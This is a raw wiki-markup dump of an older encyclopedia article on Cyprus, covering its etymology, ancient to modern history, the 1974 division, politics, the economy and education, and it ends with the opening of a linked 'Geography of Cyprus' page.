|leader_names = [[Tassos Papadopoulos]] &lt;sup&gt;2&lt;/sup&gt; 
|area_rank = 161st 
|area_magnitude = 1_E9 
|area= 9,250 &lt;sup&gt;4&lt;sup&gt;
|areami² = 3,571&lt;sup&gt;4&lt;sup&gt;  &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|percent_water = Negligible 
|population_estimate = 818,200 &lt;sup&gt;5&lt;/sup&gt; 
|population_estimate_year = 2003 
|population_estimate_rank = 155th 
|population_census= 689,565 &lt;sup&gt;6&lt;/sup&gt;
|population_census_year= 2001 
|population_density = 84
|population_densitymi² = 218 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|population_density_rank = 111 
|GDP_PPP_year = n/a 
|GDP_PPP = $ 16,745 
|GDP_PPP_rank = n/a 
|GDP_PPP_per_capita = $ 20,669 
|GDP_PPP_per_capita_rank = n/a 
|HDI_year = 2003 
|HDI = 0.891 
|HDI_rank = 29th 
|HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt; 
|sovereignty_type = [[Independence]] 
|established_events = Declared&lt;br/&gt;Recognised 
|established_dates = From the [[United Kingdom|UK]]&lt;br/&gt;[[16 August]] [[1960]]&lt;br/&gt;[[16 August]] [[1960]] &lt;sup&gt;3&lt;/sup&gt; 
|currency = [[Cyprus Pound]] 
|currency_code = CYP 
|time_zone= [[EET]] 
|utc_offset= +2 
|time_zone_DST= [[EEST]] 
|utc_offset_DST=  +3 
|cctld= [[.cy]] 
|calling_code = 357 &lt;sup&gt;7&lt;/sup&gt; 
|footnotes =1. &quot;Ymnos pros tin Eleutherian&quot; is also used as the national anthem of Greece.&lt;br/&gt;
2. The north has a separate president of the [[Turkish Republic of Northern Cyprus]] (TRNC). &lt;br/&gt;
3. Not recognised by [[Turkey]], which instead recognises the [[Turkish Republic of Northern Cyprus|TRNC]]. The TRNC is only recognised by Turkey&lt;br/&gt;
4. Of which 5,895 km&amp;sup2; (2,276&amp;nbsp;mi²) is in the south and 3,355 km&amp;sup2; (1,295&amp;nbsp;mi²) in the north&lt;br/&gt;
5. Number does not include approx. 230,000 inhabitants in the north&lt;br/&gt;
6. Number does not include any [[Turkish Republic of Northern Cyprus|TRNC]] inhabitants&lt;br/&gt;
7. +90-392 (a Turkish access number) is used in the north
}}


The island of Cyprus is divided into four sectors. The southern Republic of Cyprus, the unrecognised [[Turkish Republic of Northern Cyprus]], the British Sovereign Bases, and the UN controlled Green Line. The southern '''Republic of Cyprus''' ([[Greek language|Greek]]: Κύπρος, ''Kýpros''; [[Turkish language|Turkish]]: ''Kıbrıs''; see also [[List of traditional Greek place names]]) represents the original [[island nation]]. Cyprus lies in the eastern [[Mediterranean Sea]], 113 [[kilometre]]s (70&amp;nbsp;[[mile|mi]]) south of [[Turkey]] and around 120 kilmetres (75&amp;nbsp;mi) west of the [[Syria]]n coast. For information on the northern Turkish occupied sector, see the '[[Turkish Republic of Northern Cyprus]]'.''' 

==Terminology==
The name '''Cyprus''' has a somewhat uncertain [[etymology]]. One suggestion is that it comes from the [[Greek language|Greek]] word &quot;κυπάρισσος (''kypa'rissos'')&quot; meaning &quot;[[Cupressus sempervirens|cypress]]&quot; (''Cupressus sempervirens'') or even from the Greek  name of the plant ''Lawsonia alba'' ([[henna]]), &quot;κύπρος (kypros)&quot;. Another school suggests that it stems from the eterocyprian word for copper. Dossin, for example, suggests that it has roots to the [[Sumeria]]n  word for [[copper]], &quot;zubar&quot; or even the word &quot;kubar&quot; ([[bronze]]), due to the large deposits of copper ore found on the island. Through overseas trade, the island has already given its name to the [[Classical Latin]] word for the metal, which appears in the phrase ''aes Cyprium'', &quot;metal of Cyprus&quot;, later shortened to ''cuprum''. From there the word passed into [[Europe]]an languages as &quot;[[copper]]&quot; in the [[English language]], &quot;cuivre&quot; in [[French language|French]], &quot;Kupfer&quot; in [[German language|German]] and &quot;cobre&quot; in [[Portuguese language|Portuguese]] and in [[Spanish language|Spanish]].

Another probable suggestion is that it was named after the Greek goddess [[Aphrodite]] which was also called &quot;Κυπρίς (kipris)&quot;. Note that Cyprus was the mythical birthplace of Aphrodite. [[Homer]] in his epics [[Iliad]] and [[Odyssey]] refers to the island of &quot;Kύπρον (''kypron'')&quot;: “Μούσα μοι έννεπε έργα πολυχρύσου Αφροδίτης Κύπριδος” – “Muse sing to me the works of golden haired Aphrodite Cypridos”. It is also characteristic that in ancient times the name &quot;Κύπρος (Cyprus)&quot; in Greek was the first or second synthetic of names, such as: Αριστόκυπρος, Φιλόκυπρος, Κυπράνορας, Κυπροθέμης.

==History==
:''Main article: [[History of Cyprus]]''

===Prehistoric and Ancient Cyprus===
:''Main article: [[Cyprus (Prehistory)]], [[Ancient history of Cyprus]]''
There are but scanty traces of the [[Stone Age]], but the [[Bronze Age]] is characterized by a well-developed and clearly marked civilization. The people quickly learned to work the rich copper mines of the island. The [[Mycenaean|Mycen&amp;aelig;an]] civilization seems to have reached Cyprus at around [[1600 BC|1600 B.C.]] and several Greek and Ph&amp;oelig;nician settlements that belong to the [[Iron Age]] can be found on the island. Cyprus was invaded by [[Thothmes III]] of [[Ancient Egypt|Egypt]] about [[1500 BC|1500 B.C.]], and was forced to pay tribute. 

Around [[1200 BC|1200 B.C.]] begins the massive arrival of the [[Mycenaean|Mycen&amp;aelig;an]] Greeks as permanent settlers to Cyprus, a process which lasted for more than a century. This migration is remembered in many sagas concerning how some of the Greek heroes that participated in the [[Trojan war]] came to settle in Cyprus.  The newcomers brought with them their language, their advanced technology and introduced a new outlook for visual arts. Thus from [[1220 BC|1220 B.C.]] Cyprus has remained predominantly Greek in culture, language and population despite various influences resulting from successive conquests. In  times Cyprus supplied the rest of the [[Greek people|Greeks]] with timber for their fleets.  

In the [[6th century BC|6th century B.C.]], [[Amasis]] of [[Egypt]] conquered Cyprus, which soon fell under the rule of the [[Persian Empire|Persians]] when [[Cambyses]] conquered Egypt. In the Persian Empire, Cyprus formed part of the fifth satrapy and in addition to tribute it had to supply the Persians with ships and crews. In their new fate the Greeks of Cyprus had as companions the Greeks of [[Ionia]] (west coast of [[Anatolia]]) with whom they forged closer ties. When the Ionian Greeks revolted against [[Persia]] ([[499 BC]]) the Cypriots except for the city of [[Amathus]], joined in at the instigation of Onesilos, brother of the king of [[Salamis, Cyprus|Salamis]], whom he dethroned for not wanting to fight for independence. The Persians reacted quickly sending a considerable force against Onesilos. The [[Persians]] finally won despite Ionian help. 

After their defeat, the Greeks mounted various expeditions in order to liberate Cyprus from the Persian rule, but all their efforts bore only temporary results. Eventually, [[Alexander the Great]] ([[356 BC|356]]-[[323 BC|323 B.C.)]] took the island from the Persians.  Later, the [[Ptolemies]] of [[Egypt]] controlled it; finally [[Rome]] annexed it in [[58 BC|58]]-[[57 BC]]. No doubt the most important event that occurred in Roman Cyprus was the visit by Apostles [[Paul of Tarsus|Paul]] and [[Barnabas]] accompanied by [[Mark the Evangelist|St Mark]] who came to the island at the outset of their first [[missionary]] journey in [[Anno Domini|AD]]&amp;nbsp;45. After their arrival at [[Salamis, Cyprus|Salamis]] they proceeded to [[Paphos]] where they converted the Roman Governor [[Sergius Paulus]] to [[Christianity]]. In this way Cyprus became the first country in the world to be governed by a Christian ruler.

====Cyprus in ancient myth====
Cyprus is the legendary birthplace of the goddess of beauty, love, sex and passion, the beautiful [[Aphrodite]]. According to [[Hesiod]]'s ''[[Theogony]]'', the goddess, who was also known as ''Kypris'' or ''the Cyprian'', emerged fully grown from the sea where the severed genitals of the god [[Uranus]] were cast by his son, [[Kronos]], causing the sea to foam (Greek: ''Aphros''). The legendary site of Aphrodite's birth from the foam is at 'Petra tou Romiou' ('Aphrodite's Rock'), a large stack in the sea close to the coastal cliffs near [[Paphos]]. Throughout ancient history, Cyprus was a flourishing centre for the cultic worship of Aphrodite.

Her birth was famously depicted by the artist [[Sandro Botticelli|Botticelli]] in ''[[The Birth of Venus (Botticelli)|The Birth of Venus]]''.

===Post-Classical and Modern Cyprus===
Cyprus became part of the [[Byzantine Empire]] after the partitioning of the [[Roman Empire]] in [[Anno Domini|AD]]&amp;nbsp;395, and remained so for almost 800 years, though with brief perdiod of [[Arab]] domination and influence. After the rule of the rebelious Byzantine Emperor [[Isaac Comnenus]], King [[Richard I of England]] captured the island in [[1191]] during the [[Third Crusades]]. [[Guy of Lusignan]] purchased the island from Richard in [[1192]]. The [[Republic of Venice]] took control in [[1489]] after the death of the last Lusignan Queen, after which the [[Ottoman Empire]] conquered the Island in [[1570]].

Cyprus was placed under [[United Kingdom|British]] control on [[4 June]] [[1878]] as a result of the [[Cyprus Convention]], which granted control of the island to Britain in return for British support of the Ottoman Empire in the [[Russian-Turkish War]]. 

Famagusta harbour was completed in June [[1906]]; by this time the island was a strategic naval outpost for the [[British Empire]], shoring up influence over the Eastern [[Mediterranean]] and [[Suez Canal]], the crucial main route to [[India]].

Cyprus was formally annexed by the [[United Kingdom of Great Britain and Ireland|United Kingdom]] in [[1913]] in the run-up to the [[First World War]]. Many Cypriots, now British subjects, signed up to fight in the British Army, in this and in the [[World War II|Second World War]]. 

During the [[1940s]] and [[1950s]], Cypriots began to demand [[Enosis|union with Greece]]. The Greek community held referenda in support of annexation, while the British sought to quell any movement which could threaten their possession of the island. In [[1955]] the struggle erupted into guerrilla activity with the foundation of [[EOKA]], and in the closing years of the 1950s the political and intercommunal atmosphere on the island became [[Cyprus dispute|increasingly fraught]]. 

[[Independence]] was attained in [[1960]] after exhaustive negotiations between the United Kingdom, as the [[British Empire|colonial power]], and Greece and Turkey, the cultural 'motherlands' for the two communities on Cyprus. The constitution produced by the negotiations was a binding document allocating government posts and public offices by ethnic quota. The constitution did not promote a healthy relationship between the residents of the island. The first President was the [[Greek Cypriot]] leader Archbishop [[Makarios III]], and his Vice President was the leading Turkish Cypriot politician [[Fazil Kucuk|Dr Fazıl Küçük]]. 

====Post-independence==== 
:''Main article: [[Cyprus dispute]]''
During the [[1960s]], Makarios and Küçük pursued a non-aligned foreign policy, cultivating good relations with the [[United Kingdom | Britain]], [[Greece]] and [[Turkey]] and taking a leading role in developing the [[Non-Aligned Movement]]. 

Tension began in 1963 when Makarios proposed thirteen amendments to the constitution of the Republic of Cyprus. Turkish Cypriots were opposed to the proposals since it relegated their status to a minority instead of co-founders of the state, whilst also removing their community’s constitutional safeguards. These amendments were largely seen as a move towards enosis by Turkish Cypriots and on 21 December 1963, clashes between Turkish Cypriots and Polycarpos Yorgadjis (the Interior Minister) plainclothes special constables left two Turkish Cypriots and one Greek Cypriot policemen dead [http://www.cyprus-conflict.net/Patrick-chp%203.htm]. Although the ensuing violence led to attacks launched by both communities, Turkish Cypriots had born the brunt of the offensive, leading to 700 Turkish Cypriot hostages being taken and full scale attacks launched by Nicos Sampson against the Turkish Cypriot population [http://www.cyprus-conflict.net/narrative-main-%203.htm].

The fighting had left 191 Turkish and 133 Greek Cypriots dead and 209 Turks and 41 Greeks missing [http://www.cyprus-conflict.net/narrative-main-%203.htm]. Widespread looting of Turkish Cypriot villages had led to twenty thousand refugees, relying on food and medical supplies from Turkey to survive. Though much of the initial withdrawal was in the wake of violence, the Turkish Cypriot own paramilitary group exercised influence in preventing some Turkish Cypriots returning to their villages, thus leading to the segregation of the communities.

By [[1974]] dissatisfaction among Greek nationalist right-wing elements in favour of the long-term goal of [[Enosis]] - union with Greece - precipitated a [[coup d'etat]] against President Makarios which was sponsored by [[Greek military junta of 1967-1974|the military government of Greece]] and led by the Cypriot National Guard. The new regime replaced Makarios with [[Nikos Sampson|Nikos Giorgiades Sampson]] as president, and Bishop Gennadios as head of the [[Cypriot Orthodox Church]]. Seven days after these events, [[Turkish Invasion of Cyprus|Turkey invaded Cyprus]] by sea and air on [[20 July]], 1974, presenting the invasion as an act of protection for the island's 18% Turkish Cypriot minority. Talks in [[Geneva]] involving [[Greece]], Turkey, the [[United Kingdom]] and the two Cypriot factions failed in mid-August, and Turkish forces subsequently moved from the agreed cease-fire lines to gain control of 37% of the island's territory. About 160,000 Greek Cypriots were uprooted, with Greek Cypriots forced to flee to the south, while approximately 50,000 Turkish Cypriots moved north. Greek Cypriot soldiers were taken prisoners, with a number of 1,619 of those still missing and their fate is still unaccounted for. The Greek Junta made no armed response to the Turkish forces but collapsed days after.  Greece, with the restoration of democratic rule, suspended military participation in the [[NATO]] alliance. The tension continued after Makarios returned to the presidency on [[December 7]], 1974. He accepted a bizonal bicommunal federation as the form of a future state, but rejected any solution &quot;involving transfer of populations and amounting to partition of Cyprus.&quot; The events of the summer of 1974 have dominated Cypriot politics ever since and have been a major point of contention between Greece and Turkey.

After 1974 there were near-continual efforts to negotiate a settlement, which met with varying levels of hostility from either side.

Turkish Cypriots proclaimed a separate state under [[Rauf Denktaş]] on [[November 15]], [[1983]]. The UN [[Security Council]], in its Resolution 541 of [[November 18]], [[1983]], declared the action illegal and called for withdrawal. Turkey is to date the only country to recognise the &quot;government&quot; of the occupied part of Cyprus. Turkey does not recognise the Republic of Cyprus's authority over the whole island, and refers to it as the Greek Cypriot administration, this has led to complications in its bid to join the [[European Union]]

Relations in the eastern Mediterranean were particularly frayed in the mid-[[1990s]], especially after the acquisition by the Cypriot government of Russian missiles in [[1997]] which were capable of reaching the Turkish coast. The S-300 missiles never arrived in Cyprus but stayed on the neighbouring island of [[Crete]].  The United States set an embargo on sale of arms to Turkey which was voted down a few years later after the invasion. 

Cyprus has joined the European Union as a full member since January 2005. Since the invasion, the southern part of Cyprus has greatly grown economically, and the country enjoys a high standard of living. The north maintains a lower standing of living due to the economic embargoes placed since its unilateral declaration of independence.

==Geography==
[[Image:modis_cyprus_lrg.jpg|right|thumb|300px|MODIS Satellite Image of Cyprus]]
:''Main article: [[Geography of Cyprus]]''

Cyprus is ''geographically'' close to the [[Middle East]] (see also [[Southwest Asia]] and [[Near East]]) and due to the island's geographic proximity is included in Asia, although ''politically'' and ''culturally'' it is closely aligned with Europe, in particular [[Greece]] and to [[Turkey]]. Historically, Cyprus has been at the crossroads between Europe, [[Southwest Asia]], and [[North Africa]], with lengthy periods of mainly [[Greece|Greek]] and intermittent [[Levant]]ine, [[Anatolia]]n and [[British Empire|British]] influences.  

The central plain (Mesaoria) with the [[Kyrenia]] and [[Pentadactylos]] mountains to the north and the [[Troodos Mountains|Troodos mountain range]] to the south and west. There are also scattered but significant plains along the southern coast.

The climate is temperate and [[Mediterranean climate|Mediterranean]] with hot, dry summers and cool, variably rainy winters.

The capital city, Nicosia, is located to the north-east of the centre of the island. All the other major cities are situated on the coast: [[Paphos]] to the south-west, [[Limassol]] to the south, [[Larnaca]] to the south-east, [[Famagusta]] to the east and Kyrenia to the north.

See also:
* [[List of cities in Cyprus]], Greek and Turkish names

==Districts==
[[Image:Cyprus districts named.png|right|thumb|Map of Cyprus showing political divisions and districts]]
:''Main article: [[Districts of Cyprus]]''
Cyprus is divided into six districts.

*[[Famagusta District|Famagusta]]
*[[Kyrenia District|Kyrenia]]
*[[Larnaca District|Larnaca]]
*[[Limassol District|Limassol]]
*[[Nicosia District|Nicosia]]
*[[Paphos District|Paphos]]

==Politics==
:''Main article: [[Politics of Cyprus]]''
After independence Cyprus became a founding member of the [[Non-Aligned Movement]] despite all three guarantor powers ([[Greece]], [[Turkey]] and the [[UK]]) being [[NATO]] members. Cyprus left the Non-Aligned Movement in [[2004]] to join the [[EU]].

The 1960 Cypriot Constitution provided for a presidential system of government with independent executive, legislative, and judicial branches, as well as a complex system of checks and balances, including a weighted power-sharing ratio designed to protect the interests of the Turkish Cypriots. The executive, for example, was headed by a Greek Cypriot president, [[Archbishop Makarios]] III, and a Turkish Cypriot vice president, [[Fazil Kucuk|Dr Fazıl Küçük]], elected by their respective communities for 5-year terms and each possessing a right of veto over certain types of legislation and executive decisions.

The House of Representatives was elected on the basis of separate voters' rolls. Since [[1964]], following clashes between the two communities, the Turkish Cypriot seats in the House remained vacant, while the Greek Cypriot Communal Chamber was abolished. The responsibilities of the chamber were transferred to the newfounded Ministry of Education.

By [[1967]], when a [[Regime of the Colonels|military junta]] had seized power in Greece, the political impetus for enosis had faded, partly as a result of the non-aligned foreign policy of Cypriot President [[Makarios]]. Enosis remained an ideological goal, despite being pushed significantly further down the political agenda. Dissatisfaction in Greece with Makarios's perceived failure to deliver on earlier promises of enosis convinced the Greek colonels to sponsor the 1974 coup in Nicosia.

[[Turkey]] responded by launching a military operation on Cyprus in a move not approved by the other two international guarantor powers, Greece and the United Kingdom which aimed to protect the Turkish minority from Greek militias. The intervention is called &quot;Cyprus Peace Operation&quot; by the Turkish side. Turkish forces captured the northern part of the island(see [[Cyprus dispute]]). Many thousands of others, from both sides, left the island entirely.

Subseqently, the Turkish Cypriots established their own [[seperatist]] institutions with a popularly elected  [[de facto]] President and a Prime Minister responsible to the National Assembly exercising joint executive powers. In 1983, the Turkish Cypriots declared an independent state called the [[Turkish Republic of Northern Cyprus ]] (TRNC), an action opposed by the [[United Nations]] Security Council. In 1985, the [[TRNC]] adopted a constitution and held its first elections.

See also:
* [[Foreign relations of Cyprus]]
* [[List of political parties in Cyprus]]
* [[Military of Cyprus]]

===Political division===
Cyprus gained independence from the [[United Kingdom]] in [[1960]], with the UK, [[Greece]] and [[Turkey]] retaining limited rights to intervene in internal affairs.

Since 1974, Cyprus has been divided, [[de facto]], into the Greek-Cypriot controlled southern two-thirds of the island and the Turkish-occupied northern one-third.  The '''Republic of Cyprus''' is the internationally recognised government of Cyprus, which controls the southern two-thirds of the island. Turkey aside, all foreign governments and the [[United Nations]] recognise the sovereignty of the Republic of Cyprus over the whole island of Cyprus. 

The Turkish Cypriot administration of the northern part of the island, together with [[Turkey]], does not accept the Republic's rule over the whole island and refer to it as the &quot;Greek Authority of Southern Cyprus&quot;. Its territory, the status of which remains disputed, extends over the northern third of the island. 

The north proclaimed its independence in [[1975]], and the self-styled [[Turkish Republic of Northern Cyprus]] was established in [[1983]]. This state was recognised only by [[Turkey]]. The [[Organization of the Islamic Conference]] granted it observer member status under the name of &quot;Turkish Cypriot State&quot;.

The other power with territory on Cyprus is the [[United Kingdom]]. Under the independence agreement, the UK retained title to two areas on the southern coast of the island, around [[Akrotiri and Dhekelia]], known collectively as the [[UK sovereign base]] areas. They are used as military bases.

===Exclaves and enclaves===
Cyprus has four [[exclave]]s, all in territory that belongs to the [[Akrotiri and Dhekelia|British Sovereign Base Area of Dhekelia]]. The first two are the villages of [[Ormidhia]] and [[Xylotymvou]]. Additionally there is the Dhekelia Power Station, which is divided by a British road into two parts. The northern part is an [[enclave]] like the two villages, whereas the southern part is located by the sea and therefore not an enclave &amp;mdash;although it has no territorial waters of its own [http://geosite.jankrogh.com/cyprus.htm].

The [[United Nations]] (UN) buffer zone separating the territory controlled by the [[Turkish Republic of Northern Cyprus|Turkish Cypriot administration]] from the rest of Cyprus runs up against Dhekelia and picks up again from its east side, off of [[Ayios Nikolaos (Cyprus)|Ayios Nikolaos]] (connected to the rest of Dhekelia by a thin land corridor). In that sense, the buffer zone turns the south-east corner of the island, the [[Paralimni]] area, into a [[de facto]], though not [[de jure]], exclave.

===Reunification, the Annan Plan and EU entry===
The results of early negotiations between the Greek and Turkish sides resulted in a broad agreement in principle to reunification as a bi-cameral, bi-zonal [[federation]] with territory allocated to the Greek and Turkish communities within a united island. However, agreement was never reached on the finer details, and the two sides often met deadlock over the following points, among others:

The Turkish side:
* favoured a weak central government presiding over two sovereign states in voluntary association, a legacy of earlier fears of domination by the majority Greek Cypriots; and
* opposed plans for demilitarisation, citing security concerns.

The Greek side:
* took a strong line on the right of return for refugees to properties vacated in the 1974 displacement of Cypriots on both sides;
* took a dim view of any proposals which did not allow for the repatriation of Turkish settlers from the mainland who had emigrated to Cyprus since 1974; and
* supported a stronger central government.

The continued difficulties in finding a settlement presented a potential obstacle to Cypriot entry to the [[European Union]], for which the government had applied in 1997. UN-sponsored talks between the Greek and Turkish leaders, [[Glafkos Klerides]] and [[Rauf Denktash]], continued intensively in [[2002]], but without resolution. In [[December 2002]] the EU formally invited Cyprus to join in 2004, insisting that EU membership would apply to the whole island and hoping that it would provide a significant enticement for reunification resulting from the outcome of ongoing talks. However, weeks before the UN deadline, Klerides was defeated in presidential elections by center candidate [[Tassos Papadopoulos]]. Papadopoulos had a reputation as a hard-liner on reunification and had rejected previous UN attempts to reunify the island. By mid-March, the UN declared that the talks had failed. 

A [[United Nations]] plan sponsored by [[Secretary-General of the United Nations|Secretary-General]] [[Kofi Annan]] was announced on [[31 March]] [[2004]], based on what progress had been made during the talks in [[Switzerland]] and fleshed out by the UN, was put to both sides in separate referenda on [[24 April]] [[2004]]. The Greek side overwhelmingly rejected the [[Annan Plan]], and the Turkish side voted in favour.

In [[May 2004]], Cyprus entered the EU, although in practice membership only applies to the southern part of the island. In acknowledgement of the Turkish Cypriot community's support for reunification, however, the EU made it clear that trade concessions would be reached to stimulate economic growth in the north, and remains committed to reunification under acceptable terms.

See also:
* [[Annan Plan]]
* [[Cyprus reunification referendum, 2004|2004 referendum]]
* [[Cyprus dispute]]
* [[UN Buffer Zone on Cyprus]].

==Economy==
:''Main article: [[Economy of Cyprus]]''
Economic affairs in Cyprus are dominated by the division of the country due to the Turkish occupation of the north part of the island. 

The Cypriot economy is prosperous and has diversified in recent years.  Cyprus has been sought as a basis for several offshore businesses, due to its highly developed infrastructure. Economic policy of the Cyprus government has focused on meeting the criteria for admission to the European Union. 

Recently, oil has been discovered in the sea South of Cyprus (between Cyprus and Egypt) and talks are under way with Egypt to reach an agreement as to the exploitation of these resources. The level of the oil field in terms of production (barrels per day) that the two countries will be able to produce is still a matter of speculation. 

The economy in the occupied part of Cyprus is heavily dependent on Turkey for subsidies for its survival. The economy relies heavily on agriculture. The influx of about 100,000 Turkish economic migrants in the occupied part of Cyprus, who in their majority are uneducated workers, has brought even more trouble in the economy of the occupied area. Moreover, the small, vulnerable economy has suffered because the Turkish lira is legal tender. 

Eventual adoption of the [[euro]] currency is required of all new countries joining the European Union, and the Cyprus government currently intends to adopt the currency on [[1 January]] [[2008]].

==Demographics==
:''Main article: [[Demographics of Cyprus]]''
Greek and Turkish Cypriots share many customs but maintain their ethnicity based on [[religion]], [[language]], and close ties with their respective motherlands.

The major part of Greek Cypriots are [[Eastern Orthodox Christians]], whereas Turkish Cypriots are [[Muslims]].

Greek is the predominant language in the south, Turkish in the north. This delineation is only reflective of the post-1974 division of the island, which involved an expulsion of Greek Cypriots from the north and the analoguous move of Turkish Cypriots from the south. Historically however, the Greek language was largely spoken by all Greek Cypriots and by many Turkish Cypriots.

[[English_language|English]] is widely understood, and is taught in schools from primary age.

==Education==
Cyprus has a well-developed system of primary and secondary education offering both public and private education. Unlike in other countries, state schools are generally seen as equivalent or better in quality of education than private sector institutions.

The majority of Cypriots receive their higher education at Greek, British, Turkish, EU &amp; US universities, while there are also sizeable emigrant communities in the United Kingdom and [[Australia]]. Private colleges and state-supported universities have been developed by both the Turkish and Greek communities.

According to the 1960 constitution, education is under the control of the two communities (the communal chambers). State education was based on nationalisation of existing community supported schools from the colonial period. Thus following 1974 the Cypriot system follows the Greek system in the south, in other words providing their students with an [[apolytirion]], and the Turkish system in the north. A large number of students after sitting for A-levels and/or  SATs study abroad, mainly in English speaking countries such as the [[USA|US]] or UK, but also in other European destinations such as [[France]] and [[Germany]]. Traditionally the communist party [[AKEL]] provided scholarships for its members to study in [[Eastern Europe]]. Eastern European countries, especially [[Bulgaria]] and [[Hungary]], are still popular destinations for students.

Students from [[Turkey]] also study at universities in northern Cyprus, boosting economically the North Cyprus Turkish Republic.

==Personalities==
* [[Archbishop Makarios]] ([[1913]]-[[1977]]), Archbishop, first President of the Republic of Cyprus
* [[Dr Fazil Kucuk]] ([[1906]]-[[1984]]) was the first and only Turkish Cypriot Vice President of the 1960 Republic of Cyprus.
* [[Stelios Haji-Ioannou]] (also known as [[Stelios]]) (b.[[1967]]), Businessman, founder of [[Easyjet]]
* [[Anna Vissi]] (b.[[1957]]), popular singer
* [[Yiannos Kranidiotis]] (died [[1999]] in air-accident), Greek politician, deputy [[Minister]] of State
* [[Marcos Baghdatis]] (b.[[1985]]), tennis player, Baghdatis became the ITF World Junior Tennis Champion in [[2003]] and joined the ATP professional tour later in that year. Runner-up in Australian Open 2006. Ranked 27th in the world.
*[[Michalis Konstantinou]] football player for [[Olympiakos CFP]] and all-time leading goalscorer for [[Cyprus national football team]].
*[[Mustafa Halilsoy]] one of the prominent physicist in the field of Physics of Gravitational Waves
[http://scholar.google.com/scholar?as_q=&amp;num=100&amp;btnG=Search+Scholar&amp;as_epq=&amp;as_oq=&amp;as_eq=&amp;as_occt=any&amp;as_sauthors=Mustafa+Halilsoy&amp;as_publication=&amp;as_ylo=1970&amp;as_yhi=2005&amp;as_allsubj=some&amp;as_subj=phy&amp;hl=en&amp;lr=]

==Educational Institutes/Universities/Colleges==
*[http://www.ucy.ac.cy University of Cyprus]
*[http://www.tucy.ac.cy Technical University of Cyprus]
*[http://www.mlsi.gov.cy/mlsi/hti/hti.nsf/dmlindex_en/dmlindex_en?OpenDocument Higher Technical Institute] (taught in English) situated in Nicosia
*[http://www.cycollege.ac.cy Cyprus College] (taught in English) situated in Nicosia 
*[http://www.intercollege.ac.cy/ Intercollege] (taught in English) situated in Nicosia and Larnaca
*[http://www.fit.ac.cy/ The Frederick institute] (taught in English) situated in Nicosia and Limassol
*[http://www.philips.ac.cy/ Philips College] (taught in English/Greek) situated in Nicosia 
*[http://www.ac.ac.cy/ Americanos College] (taught in English/Greek) situated in Nicosia
*[[Eastern Mediterranean University]] (taught in English) situated in Famagusta

==Miscellaneous==
* [[Communications in Cyprus]]
* [[Holidays in Cyprus]]
* [[List of Cypriots]]
* [[Military of Cyprus]]
* [[Music of Cyprus]]
* [[Alexander the Great]]
* [[Transportation in Cyprus]]
*[[Greek History]]


==External links==
{{sisterlinks|Cyprus}}

'''Government'''
* [http://www.cyprus.gov.cy/ Republic of Cyprus]
* [http://www.kypros.org/Constitution/English/index.htm Constitution of the Republic of Cyprus]
* [http://www.moi.gov.cy/moi/pio/pio.nsf/index_en/index_en?opendocument# Press and Information Office]
* [http://www.cyprus.gov.cy/cyphome/govhome.nsf/0/AC8717AD3CF09FC1C2256FC8003AFBD8?OpenDocument&amp;languageNo=1 Religious Groups in Cyprus]
* [http://www.mof.gov.cy/mof/cystat/statistics.nsf/index_en/index_en?OpenDocument Statistical Service of the Republic of Cyprus]

'''Banks'''
* [http://www.offshoreincorporation101.com/cyprus-banks.html Banks in Cyprus Directory]

'''General information'''
* [http://www.cia.gov/cia/publications/factbook/geos/cy.html CIA World Factbook - ''Cyprus'']
* [http://www.state.gov/p/eur/ci/cy/ US State Department - ''Cyprus''] includes Background Notes, Country Study and major reports
* [http://dmoz.org/Regional/Middle_East/Cyprus/ Open Directory Project - ''Cyprus''] directory category

'''Tourism information'''
* [http://www.visitcyprus.org.cy/ Cyprus Tourism Organisation]


{{Europe}}
{{Southwest_Asia}}   
{{Asia}}   
{{Middle_East}}   
{{Mediterranean}}
{{EU_countries}}
{{Commonwealth of Nations}}
{{Non-Aligned Movement}}
[[Category:Cyprus| ]]
[[Category:Middle Eastern countries]]
[[Category:Southwest Asian countries]]
[[Category:European Union member states]]
[[Category:Members of the Commonwealth of Nations]]
[[Category:Bicontinental countries]]
[[Category:Phoenician colonies]]
[[Category:Hellenistic colonies]]
[[Category:Former British colonies]]
[[Category:Island nations]]

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[[fiu-vro:Küprüs]]</text>
    </revision>
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  <page>
    <title>Cyprus/History</title>
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      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Cyprus]]</text>
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  </page>
  <page>
    <title>Geography of Cyprus</title>
    <id>5595</id>
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      <id>41640795</id>
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      <text xml:space="preserve">[[Image:Cy-map.png|right|thumb|350px|Map of Cyprus]]

'''[[Cyprus]]''' is an [[island]] in the [[Mediterranean Sea]], the third biggest in Meditteranean Sea, and is near the [[Middle East]] (and is sometimes included in the region geographically), south of [[Turkey]]. The physical setting for life on the island is dominated by the mountain masses and the central plain they encompass, the [[Mesaoria]]. The [[Troodos Mountains]] cover most of the southern and western portions of the island and account for roughly half its area. The narrow [[Kyrenia Mountains|Kyrenia Range]], extending along the northern coastline, occupies substantially less area, and elevations are lower. The two mountain systems run generally parallel to the [[Taurus Mountains]] on the Turkish mainland, whose silhouette is visible from northern Cyprus. Coastal lowlands, varying in width, surround the island.

It is situated at the north-eastern end of the East Mediterranean basin at a distance of 380 km north of [[Egypt]], 105 km west of [[Syria]] and 75 km south of [[Turkey]]. The [[Greece|Greek mainland]] is some 800 km to the west. The nearest [[Greek islands]] are [[Rhodes]] and [[Karpathos]], 380 km to the west. 
The [[latitude]] of Cyprus is 34° 33’ - 35° 34’ north and its longitude 32° 16’ - 34° 37’ east

'''Geographic coordinates:'''
{{coor d|35|N|33|E|}}

==Terrain==
[[image:cyprus.arp.750pix.jpg|300px|thumb|This image, acquired by [[Terra (satellite)|NASA's Terra satellite]] on [[30 January]] [[2001]], shows the three distinct geologic regions of the island. In the central and western part of the island is the Troodos Massif, a mountain range whose surface layer is mostly basaltic lava rock, and whose maximum elevation is 1953 m (6407 ft). Running in a thin arc along the northeast margin of the island is Cyprus's second mountain range, a limestone formation called the Kyrenia Range. The space between these ranges is home to the capital [[Nicosia]], visible as a grayish-brown patch near the image's center.]]
The rugged [[Troodos]] Mountains, whose principal range stretches from Pomos Point in the northwest almost to Larnaca Bay on the east, are the single most conspicuous feature of the landscape. Intensive uplifting and folding in the formative period left the area highly fragmented, so that subordinate ranges and spurs veer off at many angles, their slopes incised by steep-sided valleys. In the southwest, the mountains descend in a series of stepped foothills to the coastal plain.

